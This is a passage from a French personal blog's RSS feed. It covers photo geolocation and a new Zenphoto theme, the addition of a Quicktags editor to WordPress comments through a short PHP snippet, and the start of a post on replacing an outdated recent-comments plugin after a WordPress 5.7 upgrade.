&gt;ici&lt;/a&gt;) n&amp;rsquo;a les données GPS : je suppose que pour une raison ou une autre (mise à jour, mauvaise manipulation ?), l&amp;rsquo;option de l&amp;rsquo;application a été désactivée.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;C&amp;rsquo;est vrai que j&amp;rsquo;ai eu très vite des problèmes avec le Sony Xperia Z5 Compact acheté pour ce voyage : comme je l&amp;rsquo;ai expliqué &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=12346&#34; &gt;dans cet article&lt;/a&gt;, c&amp;rsquo;est bien la dernière fois que j&amp;rsquo;achète un Sony.&lt;/p&gt;&#xA;&lt;p&gt;Je ne vois pas grand chose d&amp;rsquo;autre à noter de ce côté. Pour ma part, on dirait bien qu&amp;rsquo;après le Laos, l&amp;rsquo;option a été désactivée et que je n&amp;rsquo;ai jamais pensé à aller la vérifier. :(&lt;/p&gt;&#xA;&lt;p&gt;On peut aussi penser lors de l&amp;rsquo;achat d&amp;rsquo;un nouvel appareil, à vérifier la qualité du GPS intégré : il faudra un test complet qui mesure la vitesse d&amp;rsquo;accroche et la précision, ce qui ne sera pas une tâche évidente ! Il faut tout de même vérifier avec quels systèmes satellites il est compatible : en Europe, il faut qu&amp;rsquo;il soit &lt;a class=&#34;link&#34; href=&#34;https://www.usegalileo.eu/accuracy-matters/FR&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;compatible GALILEO&lt;/a&gt; (plus précis que GPS). Et dans l&amp;rsquo;idéal, qu&amp;rsquo;il soit compatible avec tous les systèmes : GPS, GLONASS, GALILEO, BEIDOU.&lt;/p&gt;&#xA;&lt;p&gt;Sur le smartphone, tout se passe dans les options de l&amp;rsquo;appareil photo. C&amp;rsquo;est donc dépendant de l&amp;rsquo;application utilisée. Actuellement j&amp;rsquo;ai un &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=12260&#34; &gt;BQ Aquaris Pro&lt;/a&gt; sur lequel j&amp;rsquo;ai installé &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17796&#34; &gt;/e/ OS&lt;/a&gt; et voilà ce que me propose l&amp;rsquo;application photo fournie, qui est un fork d&amp;rsquo;&lt;a class=&#34;link&#34; href=&#34;https://opencamera.org.uk/credits.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;OpenCamera&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;275px&#34; data-flex-grow=&#34;114&#34; height=&#34;444&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/Camera.png&#34; width=&#34;510&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On voit que j&amp;rsquo;ai deux options : la première demande de stocker les données de localisation, la deuxième exige les données, et donc on ne peut pas prendre de photo si ces données ne sont pas acquises (sur la plupart des applications, on n&amp;rsquo;aura que la première).&lt;/p&gt;&#xA;&lt;p&gt;Ça l&amp;rsquo;air pas mal comme ça, mais cette deuxième option va probablement vous empêcher de prendre une photo en intérieur ! Si l&amp;rsquo;idée est bonne, on imagine bien que cela peut devenir très vite laborieux d&amp;rsquo;activer/désactiver cette option selon le contexte, et surtout d&amp;rsquo;oublier de la réactiver une fois sorti&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;idéal serait d&amp;rsquo;exiger les données de localisation, mais de pouvoir quand même prendre la photo si elles ne sont pas présentes (avoir juste un message d&amp;rsquo;avertissement plutôt qu&amp;rsquo;un refus comme c&amp;rsquo;est le cas avec Open Camera). J&amp;rsquo;ai envoyé une &amp;ldquo;feature suggestion&amp;rdquo; en ce sens au développeur, mais ça m&amp;rsquo;étonnerait que cela soit pris en compte, ce n&amp;rsquo;est pas très cohérent : on veut forcer mais finalement non ! :oops:&lt;/p&gt;&#xA;&lt;p&gt;Bref à chacun de faire son choix selon ses priorités ! Rien n&amp;rsquo;empêche d&amp;rsquo;installer une autre appli, il y a même des fork de Google Camera, mais il est important de bien les tester, la compatibilité n&amp;rsquo;étant pas garantie.&lt;/p&gt;&#xA;&lt;h3 id=&#34;zenphoto&#34;&gt;Zenphoto&#xA;&lt;/h3&gt;&lt;p&gt;Pour afficher les données de géolocalisation, il suffit donc d&amp;rsquo;activer une extension. On a le choix entre OpenStreetMap ou GoogleMap. À noter que pour cette dernière, Google impose des limites à son utilisation et nécessite une clef d&amp;rsquo;API. Pas de problème, puisque je préfère utiliser OpenStreetMap ! :cool:&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai du toutefois changer le thème : j&amp;rsquo;utilisais depuis 2015 &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9108&#34; &gt;zpMobile&lt;/a&gt;, c&amp;rsquo;était à l&amp;rsquo;époque le seul qui était &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8767&#34; &gt;Google mobile-friendly&lt;/a&gt; (Google poussait pour que les sites soient compatibles avec les terminaux mobiles). Aujourd&amp;rsquo;hui, le thème zpMobile n&amp;rsquo;est plus mis à jour, il utilise un framework jQuery mobile plutôt ancien, et surtout n&amp;rsquo;affiche pas correctement les données de géolocalisation.&lt;/p&gt;&#xA;&lt;p&gt;Il était donc temps de changer de thème. Un mal pour un bien car le thème &lt;a class=&#34;link&#34; href=&#34;https://www.zenphoto.org/news/zenji-a-forgotten-theme-re-discovered/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Zenji&lt;/a&gt; que j&amp;rsquo;utilise désormais est très propre et bien sûr &lt;a class=&#34;link&#34; href=&#34;https://fr.wikipedia.org/wiki/Site_web_r%C3%A9actif&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;responsive&lt;/a&gt;, comme on dit aujourd&amp;rsquo;hui. J&amp;rsquo;y ai apporté quelques modifications CSS/PHP pour l&amp;rsquo;adapter à mes souhaits, et le résultat me convient parfaitement :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;344px&#34; data-flex-grow=&#34;143&#34; height=&#34;662&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/albumphoto-2.png&#34; srcset=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/albumphoto-2_hu_96b05cd5345bbe17.png 800w, https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/albumphoto-2.png 949w&#34; width=&#34;949&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Avec un soin particulier apporté aux commentaires, tout en CSS bien sûr !&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;310px&#34; data-flex-grow=&#34;129&#34; height=&#34;744&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/comments.png&#34; srcset=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/comments_hu_bc451dee6d8e48da.png 800w, https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/comments.png 961w&#34; width=&#34;961&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà sur le sujet. Certainement que lors mon prochain voyage (quand ce sera possible !), j&amp;rsquo;attacherai plus d&amp;rsquo;attention à cet aspect, car des années plus tard, il est bien pratique de retrouver facilement l&amp;rsquo;endroit où telle photo a été prise&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Ajout de Quicktags pour les commentaires</title>
            <link>https://pled.fr/ajout-de-quicktags-pour-les-commentaires/</link>
            <pubDate>Thu, 29 Apr 2021 17:19:30 +0000</pubDate>
            <guid>https://pled.fr/ajout-de-quicktags-pour-les-commentaires/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;wordpress.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est une chose que j&amp;rsquo;aurais du faire depuis longtemps : permettre une mise en forme minimale lorsque l&amp;rsquo;on écrit un commentaire (insérer un lien, etc&amp;hellip;).&lt;/p&gt;&#xA;&lt;p&gt;Moi-même, lorsque je répondais à un commentaire, j&amp;rsquo;étais obligé d&amp;rsquo;aller le modifier ensuite via l&amp;rsquo;interface d&amp;rsquo;admin de Wordpress&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Je suppose que j&amp;rsquo;étais réticent à ajouter un nouveau plugin, moins on en a, mieux c&amp;rsquo;est. J&amp;rsquo;ai fini par m&amp;rsquo;y intéresser à la suite d&amp;rsquo;un commentaire posant la question.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai fini par ajouter une fonction utilisant &lt;code&gt;wp_editor()&lt;/code&gt; pour intégrer &lt;strong&gt;Quicktags&lt;/strong&gt; dans le formulaire de commentaire, tout en dévalidant &lt;strong&gt;TinyMCE&lt;/strong&gt; suite à un bug.&lt;/p&gt;&#xA;&lt;p&gt;Voyons voir cela&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc commencé par chercher un plugin, et ce n&amp;rsquo;est pas ça qui manque, certains très jolis d&amp;rsquo;ailleurs comme &lt;strong&gt;wpDiscuz&lt;/strong&gt;, mais lourds, d&amp;rsquo;autres s&amp;rsquo;appuyant sur des serveurs comme &lt;strong&gt;Discus&lt;/strong&gt;, et d&amp;rsquo;autres encore connectés aux réseaux sociaux&amp;hellip; C&amp;rsquo;est d&amp;rsquo;ailleurs frappant comme tous les articles intitulés du genre &amp;ldquo;X Best Wordpress Comment Plugins 2021&amp;rdquo; ne parlent que de ceux-là&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Ensuite j&amp;rsquo;en ai trouvé de tout simple comme &lt;strong&gt;Simple Comment Quicktags&lt;/strong&gt;, qui était de fait un peu trop simple : seulemnt quatre boutons (bold, italic, link, quote).&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai fini par chercher le moyen de le faire sans plugin (j&amp;rsquo;aurais du commencer par là), et suis tombé sur cette page intitulée &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://sumtips.com/how-to/add-rich-text-editor-wordpress-comment-form-without-plugin/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Add TinyMCE Rich Text Editor to WordPress Comments without Plugin&lt;/a&gt;&amp;rdquo;. Exactement ce qu&amp;rsquo;il me fallait.&lt;/p&gt;&#xA;&lt;p&gt;La première partie est assez simple, on ajoute une fonction dans la fichier &lt;code&gt;functions.php&lt;/code&gt; du thème.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;add_filter&lt;/span&gt;( &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;comment_form_defaults&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;rich_text_comment_form&amp;#39;&lt;/span&gt; );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;rich_text_comment_form&lt;/span&gt;( $args ) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#a6e22e&#34;&gt;ob_start&lt;/span&gt;();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#a6e22e&#34;&gt;wp_editor&lt;/span&gt;( &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;comment&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;array&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;media_buttons&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// show insert/upload button(s) to users with permission&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;textarea_rows&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;10&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// re-size text area&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;dfw&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// replace the default full screen with DFW (WordPress 3.4+)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;tinymce&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;array&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;theme_advanced_buttons1&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;bold,italic,underline,strikethrough,bullist,numlist,code,blockquote,link,unlink,outdent,indent,|,undo,redo,fullscreen&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;theme_advanced_buttons2&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// 2nd row, if needed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;theme_advanced_buttons3&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// 3rd row, if needed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;theme_advanced_buttons4&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// 4th row, if needed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &#x9;  &#x9;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;quicktags&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;array&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &#x9;       &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;buttons&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;strong,em,link,block,del,ins,img,ul,ol,li,code,close&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;) );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$args[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;comment_field&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ob_get_clean&lt;/span&gt;();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; $args;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On peut même ajouter des boutons supplémentaire, et ce jusqu&amp;rsquo;à 4 lignes ! La liste des boutons possibles est &lt;a class=&#34;link&#34; href=&#34;https://www.tiny.cloud/docs/advanced/available-toolbar-buttons/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt; (le lien sur la page n&amp;rsquo;est plus bon).&lt;/p&gt;&#xA;&lt;p&gt;Cela fonctionne tel quel, mais il y a un problème : si vous répondez à un commentaire existant, le formulaire de réponse reste en bas de page au lieu de se placer juste sous le commentaire auquel vous répondez.&lt;/p&gt;&#xA;&lt;p&gt;Il faut alors ajouter ce bout de code à la suite de la fonction précédemment ajoutée :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;396px&#34; data-flex-grow=&#34;165&#34; height=&#34;463&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/ajout-de-quicktags-pour-les-commentaires/code.png&#34; width=&#34;764&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je n&amp;rsquo;ai pas pu le mettre en mode texte, à cause de la partie script qui est interprétée&amp;hellip; :( Mais vous pouvez le copier à partir de &lt;a class=&#34;link&#34; href=&#34;https://sumtips.com/how-to/add-rich-text-editor-wordpress-comment-form-without-plugin/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;la page&lt;/a&gt; d&amp;rsquo;origine, en faisant tout de même attention : il y a une erreur avec un &amp;quot; &lt;strong&gt;?&amp;gt;&lt;/strong&gt;&amp;quot; qui s&amp;rsquo;est rajouté à la dernière ligne, et qui met la fonction en erreur. Il ne faut donc pas copier cette dernière ligne.&lt;/p&gt;&#xA;&lt;p&gt;Avec cette modification, le formulaire pour ajouter un commentaire se déplace bien comme il faut, mais je fais face à un nouveau problème : l&amp;rsquo;onglet par défaut, celui de TinyMCE, et j&amp;rsquo;ai perdu le prompt dans le formulaire dans le cas où je réponds à un commentaire précédent.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;871px&#34; data-flex-grow=&#34;362&#34; height=&#34;170&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/ajout-de-quicktags-pour-les-commentaires/prompt-1.png&#34; width=&#34;617&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;870px&#34; data-flex-grow=&#34;362&#34; height=&#34;169&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/ajout-de-quicktags-pour-les-commentaires/prompt1-1.png&#34; width=&#34;613&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;À ce stade, cela dépasse mes compétences. Mais ai-je vraiment besoin de ce mode VISUEL ? Après tout, le mode TEXTE me suffit largement.&lt;/p&gt;&#xA;&lt;p&gt;Reste à supprimer cet onglet. Pour cela, il suffira de mettre la partie &lt;code&gt;&#39;tinymce&#39; =&amp;gt; false,&lt;/code&gt; comme ceci (à comparer avec la première version plus haut):&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;rich_text_comment_form&lt;/span&gt;( $args ) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#a6e22e&#34;&gt;ob_start&lt;/span&gt;();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#a6e22e&#34;&gt;wp_editor&lt;/span&gt;( &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;comment&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;array&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;media_buttons&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// show insert/upload button(s) to users with permission&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;textarea_rows&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;10&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// re-size text area&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;dfw&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// replace the default full screen with DFW (WordPress 3.4+)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;tinymce&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;quicktags&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;array&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &#x9;       &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;buttons&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;strong,em,link,block,del,ins,img,ul,ol,li,code,close&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;) );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$args[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;comment_field&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ob_get_clean&lt;/span&gt;();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; $args;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et voilà, je n&amp;rsquo;ai plus que l&amp;rsquo;éditeur &amp;ldquo;Quicktags&amp;rdquo; d&amp;rsquo;affiché :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1149px&#34; data-flex-grow=&#34;478&#34; height=&#34;128&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/ajout-de-quicktags-pour-les-commentaires/prompt2.png&#34; width=&#34;613&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, on peut désormais mettre en forme les commentaires avec les options de base, de façon simple et sans avoir ajouté un plugin somme toute inutile pour mes besoins.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Plugin Get Recent Comments et Worpress 5.7</title>
            <link>https://pled.fr/plugin-get-recent-comments-et-worpress-5-7/</link>
            <pubDate>Wed, 24 Mar 2021 10:45:27 +0000</pubDate>
            <guid>https://pled.fr/plugin-get-recent-comments-et-worpress-5-7/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;grc.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Le week-end dernier, j&amp;rsquo;ai mis à jour le blog avec la dernière version de Wordpress, à savoir la 5.7 (je devais être en 5.4.x précédemment).&lt;/p&gt;&#xA;&lt;p&gt;Tout s&amp;rsquo;est bien passé, mais le plugin &amp;ldquo;Get Recent Comments&amp;rdquo; que j&amp;rsquo;utilise pour afficher les 5 derniers commentaires dans la barre latérale ne fonctionnait plus. L&amp;rsquo;occasion de voir qu&amp;rsquo;il n&amp;rsquo;est plus maintenu (il datait de 2004), que le site du plugin est inaccessible, etc&amp;hellip; Bref, il était temps de trouver une autre 